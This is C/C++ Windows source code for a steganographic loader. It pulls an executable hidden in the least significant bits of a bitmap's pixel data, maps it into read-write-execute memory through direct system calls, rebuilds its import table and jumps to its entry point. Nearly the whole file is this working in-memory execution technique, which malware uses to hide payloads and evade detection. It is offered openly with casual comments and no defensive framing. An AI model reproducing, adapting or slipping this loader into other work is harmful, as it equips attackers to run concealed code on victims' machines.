LONGLONG GetEmbeddedPayloadSize(PBYTE PixelData, LONGLONG BitmapPixelDataSize)
{
LONGLONG uSize = 0;
for (INT i = 0; i < 32; i++)
{
uSize <<= 1;
uSize |= (PixelData[i] & 1);
}
if (uSize * 8 + 32 > BitmapPixelDataSize)
return EMBEDDED_BINARY_CORRUPT;
return uSize;
}
VOID GetEmbeddedPayload(PBYTE PixelData, DWORD Size, PBYTE Payload)
{
BYTE Bit = 0;
for (DWORD i = 0; i < Size * 8; i++)
{
Bit = PixelData[i + 32] & 1;
Payload[i / 8] |= (Bit << (7 - (i % 8)));
}
}
BOOL Repair64bitImportAddressTable(PBYTE ExecutableMemoryBaseAddress)
{
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS NtHeader = NULL;
PIMAGE_FILE_HEADER FileHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
PIMAGE_DATA_DIRECTORY ImportAddressTable = NULL;
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;
if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &ExecutableMemoryBaseAddress))
return FALSE;
ImportAddressTable = &OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (ImportAddressTable == NULL)
return FALSE;
for (ULONGLONG Size = 0; Size < ImportAddressTable->Size; Size += sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
LPSTR LibraryString = NULL;
WCHAR LibraryStringAsWString[MAX_PATH * sizeof(WCHAR)];
UNICODE_STRING LibraryUnicodeString;
PVOID ModulePointer = NULL;
HMODULE hModule = NULL;
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&LibraryStringAsWString, MAX_PATH * sizeof(WCHAR));
ZeroMemoryNoOptimize(&LibraryUnicodeString, sizeof(UNICODE_STRING));
#pragma warning( pop )
ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImportAddressTable->VirtualAddress + Size + (ULONG_PTR)ExecutableMemoryBaseAddress);
if (ImportDescriptor->OriginalFirstThunk == NULL && ImportDescriptor->FirstThunk == NULL)
break;
LibraryString = (LPSTR)((ULONGLONG)ExecutableMemoryBaseAddress + ImportDescriptor->Name);
CharStringToWCharString(LibraryStringAsWString, LibraryString, MAX_PATH * sizeof(WCHAR));
RtlInitUnicodeString(&LibraryUnicodeString, LibraryStringAsWString);
LdrLoadDll(NULL, 0, &LibraryUnicodeString, &ModulePointer); //extremely dangerous lmfao literally zero error handling
hModule = (HMODULE)ModulePointer;
for (ULONGLONG OffsetField = ERROR_SUCCESS, OffsetThunk = ERROR_SUCCESS;;)
{
PIMAGE_THUNK_DATA FieldThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetField + ImportDescriptor->FirstThunk);
PIMAGE_THUNK_DATA OriginalThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetThunk + (ImportDescriptor->OriginalFirstThunk == NULL ? ImportDescriptor->FirstThunk : ImportDescriptor->OriginalFirstThunk));
if (OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
{
if (hModule != NULL)
FieldThunk->u1.Function = (ULONGLONG)GetProcAddressSafeA((DWORD64)hModule, (PCHAR)(OriginalThunk->u1.Ordinal & 0xFFFF));
}
if (FieldThunk->u1.Function == NULL)
{
if (hModule != NULL)
LdrUnloadDll(hModule);
break;
}
if (FieldThunk->u1.Function == OriginalThunk->u1.Function)
{
PIMAGE_IMPORT_BY_NAME ImportNameString = (PIMAGE_IMPORT_BY_NAME)(ULONGLONG(ExecutableMemoryBaseAddress) + OriginalThunk->u1.AddressOfData);
if (ImportNameString != NULL)
{
if (hModule != NULL)
FieldThunk->u1.Function = (ULONGLONG)GetProcAddressSafeA((DWORD64)hModule, ImportNameString->Name);
}
}
OffsetField += sizeof(IMAGE_THUNK_DATA);
OffsetThunk += sizeof(IMAGE_THUNK_DATA);
}
if (hModule != NULL)
LdrUnloadDll(hModule);
}
return TRUE;
}
BOOL RtlExecute64BitPeBinaryInMemoryByteArray(PBYTE BinaryImage)
{
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS NtHeader = NULL;
PIMAGE_FILE_HEADER FileHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
PIMAGE_DATA_DIRECTORY RelocationDirectory = NULL;
PIMAGE_SECTION_HEADER SectionHeaderArray = NULL;
PBYTE ExecutableMemoryBaseAddress = NULL;
DWORD dwError = ERROR_SUCCESS;
BOOL bFlag = FALSE;
ULONGLONG ExecutionPointer = ERROR_SUCCESS;
NTSTATUS Status = STATUS_SUCCESS;
PVOID AllocationBaseAddress = NULL;
SIZE_T AllocateBaseAddressSize = 0;
if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &BinaryImage))
goto EXIT_ROUTINE;
AllocationBaseAddress = (PVOID)OptionalHeader->ImageBase;
AllocateBaseAddressSize = OptionalHeader->SizeOfImage;
Status = ImplZwAllocateVirtualMemory((HANDLE)-1, &AllocationBaseAddress, 0, &AllocateBaseAddressSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(Status))
goto EXIT_ROUTINE;
ExecutableMemoryBaseAddress = (PBYTE)AllocationBaseAddress;
OptionalHeader->ImageBase = (ULONGLONG)ExecutableMemoryBaseAddress;
CopyMemoryEx(ExecutableMemoryBaseAddress, BinaryImage, OptionalHeader->SizeOfHeaders);
SectionHeaderArray = (PIMAGE_SECTION_HEADER)(ULONGLONG(NtHeader) + sizeof(IMAGE_NT_HEADERS));
for (DWORD dwX = 0; dwX < FileHeader->NumberOfSections; dwX++)
{
CopyMemoryEx(LPVOID(ULONGLONG(ExecutableMemoryBaseAddress) + SectionHeaderArray[dwX].VirtualAddress), LPVOID(ULONGLONG(BinaryImage) + SectionHeaderArray[dwX].PointerToRawData), SectionHeaderArray[dwX].SizeOfRawData);
}
if (!Repair64bitImportAddressTable(ExecutableMemoryBaseAddress))
goto EXIT_ROUTINE;
ExecutionPointer = (ULONGLONG)(ExecutableMemoryBaseAddress)+OptionalHeader->AddressOfEntryPoint;
((VOID(*)())ExecutionPointer)();
bFlag = TRUE;
EXIT_ROUTINE:
return bFlag;
}
INT WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nShowCmd)
{
IMAGE_FILE_BLOCKEX BitmapWithEmbeddedPayload;
PWCHAR ImagePathFromCommandLine = NULL;
PBITMAPFILEHEADER BitmapHeader = NULL;
PBYTE BitmapPixelData = NULL;
LONGLONG BitmapPixelDataSize = 0;
LONGLONG EmbeddedBinarySize = 0;
PBYTE PayloadBuffer = NULL;
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&BitmapWithEmbeddedPayload, sizeof(IMAGE_FILE_BLOCKEX));
#pragma warning( pop )
if (!InitializeSyscalls())
goto EXIT_ROUTINE;
ImagePathFromCommandLine = GetPassedImagePayloadFromCommandlineW(GetPeb()->ProcessParameters->CommandLine.Buffer);
if (ImagePathFromCommandLine == NULL)
goto EXIT_ROUTINE;
if (!InitializeFileBlock(&BitmapWithEmbeddedPayload, ImagePathFromCommandLine))
goto EXIT_ROUTINE;
BitmapHeader = (PBITMAPFILEHEADER)BitmapWithEmbeddedPayload.RawData;
#pragma warning( push )
#pragma warning( disable : 6011) //IDE always crying smh. microsoft u gotta lock in
BitmapPixelData = BitmapWithEmbeddedPayload.RawData + BitmapHeader->bfOffBits;
#pragma warning( pop )
BitmapPixelDataSize = BitmapWithEmbeddedPayload.FileSize - BitmapHeader->bfOffBits;
EmbeddedBinarySize = GetEmbeddedPayloadSize(BitmapPixelData, BitmapPixelDataSize);
if (EmbeddedBinarySize == EMBEDDED_BINARY_CORRUPT)
goto EXIT_ROUTINE;
PayloadBuffer = (PBYTE)RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, EmbeddedBinarySize);
if (PayloadBuffer == NULL)
goto EXIT_ROUTINE;
GetEmbeddedPayload(BitmapPixelData, (DWORD)EmbeddedBinarySize, PayloadBuffer);
RtlExecute64BitPeBinaryInMemoryByteArray(PayloadBuffer);
EXIT_ROUTINE:
if (BitmapWithEmbeddedPayload.bIsInitialized)
FreeFileBlock(&BitmapWithEmbeddedPayload);
if (PayloadBuffer)
RtlFreeHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, PayloadBuffer);
return ERROR_SUCCESS;
}Last updated